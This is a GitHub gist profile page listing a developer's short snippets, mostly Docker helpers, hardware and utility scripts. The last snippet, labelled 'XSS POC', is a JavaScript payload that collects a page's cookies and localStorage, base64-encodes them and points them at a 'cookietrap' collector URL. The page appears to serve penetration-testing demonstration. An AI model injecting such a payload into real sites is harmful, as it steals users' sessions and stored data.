Skip to content

Instantly share code, notes, and snippets.

View nicovillanueva's full-sized avatar
🥃

Nico nicovillanueva

🥃
  • Spain
View GitHub Profile

How to change the default values for Docker in different distros Usually, to change the storage driver

CentOS

sudo vim /etc/sysconfig/docker
sudo systemctl restart docker

Debian-based

Keybase proof

I hereby claim:

  • I am nicovillanueva on github.
  • I am nicovillanueva (https://keybase.io/nicovillanueva) on keybase.
  • I have a public key whose fingerprint is D11E 9648 9F80 1905 1778 78DC 12AC 3258 B117 94D0

To claim this, I am signing this object:

@nicovillanueva
nicovillanueva / getfiles.sh
Last active May 23, 2016 05:46
Audio analysis
#!/bin/bash
wget -O stereo_2205k_16bit.wav http://download.wavetlan.com/SVV/Media/HTTP/test_stereo_22050Hz_16bit_PCM.wav
wget -O mono_441k_8bit.wav http://download.wavetlan.com/SVV/Media/HTTP/test_mono_44100Hz_8bit_PCM.wav

Docker utilities

Just some quick functions to work with Docker, Machine and Swarm.

Copy it into your home, source it using your .bashrc and enjoy:
echo "source .bash_docker_funcs.sh" >> $HOME/.bashrc

@nicovillanueva
nicovillanueva / main
Last active August 29, 2015 14:23
Relay + Temp sensor
#!/usr/bin/python
import Adafruit_BBIO.GPIO as GPIO
from w1thermsensor import W1ThermSensor
import time, json, thread
TARGETTEMP = 80.0
THRESHOLD = 1.0
READDELAY = 5
@nicovillanueva
nicovillanueva / getDockerIp
Last active August 29, 2015 14:21
Get the IP of a running Docker container, by partial name search
#!/usr/bin/python3
# If you have the exact name of the container, just run:
# docker inspect --format {{.NetworkSettings.IPAddress}} <container_name>
import subprocess, json, argparse, sys
parser = argparse.ArgumentParser()
parser.add_argument('-n', '--name', required=True, help='Name of the container you want the IP of')
@nicovillanueva
nicovillanueva / running_proc.sh
Last active August 29, 2015 14:10
Running processes names
#!/bin/bash
ps aux | awk '{print $11}' | sort | uniq
@nicovillanueva
nicovillanueva / untitled
Created October 15, 2014 04:12
Split & sort
import argparse
def split_logins(logins):
for each in logins:
yield each.split(":")
parser = argparse.ArgumentParser()
parser.add_argument('lists', type=str, nargs='+')
args = parser.parse_args()
@nicovillanueva
nicovillanueva / Dice thrower
Created July 31, 2014 05:08
Generates dice throws for D&D (or originally thought for such), and kept me busy for 10 minutes.
#!/usr/bin/python
import random
d = raw_input("Using dice: d")
a = raw_input("How many die?: ")
t = raw_input("How many times?: ")
if a == "": a=1
if t == "": t=1
for times in range(int(t)):
if t > 1: print "--- Throw " + str(times+1)
@nicovillanueva
nicovillanueva / XSS POC
Last active November 9, 2022 17:38
JS script for doing XSS POCs
// The collector must decode the base64-encoded parameter 'payload'
// Suggestion: The PHP script could redirect back to the user's referer, such as:
// header("Location: " . $_SERVER['HTTP_REFERER']);
collector="http://192.168.40.6/cookietrap/trap.php?payload=";
c=function(){ret=""; for(var i = 0; i < document.cookie.split(";").length; i++){ ret+=("- " + document.cookie.split(";")[i] + "\n");} return ret; }();
ls=function(){locStor = ""; for(var i = 0; i < localStorage.length; i++){ locStor += ("Key: " + localStorage.key(i) + "\nValue: " + localStorage.getItem(localStorage.key(i)) + "\n\n");} return locStor; }();
payload="Cookies: \n"+ c + "\nLocalStorage: \n" + ls;
enc=btoa(payload);
alert("Yar cookies are: \n" + c);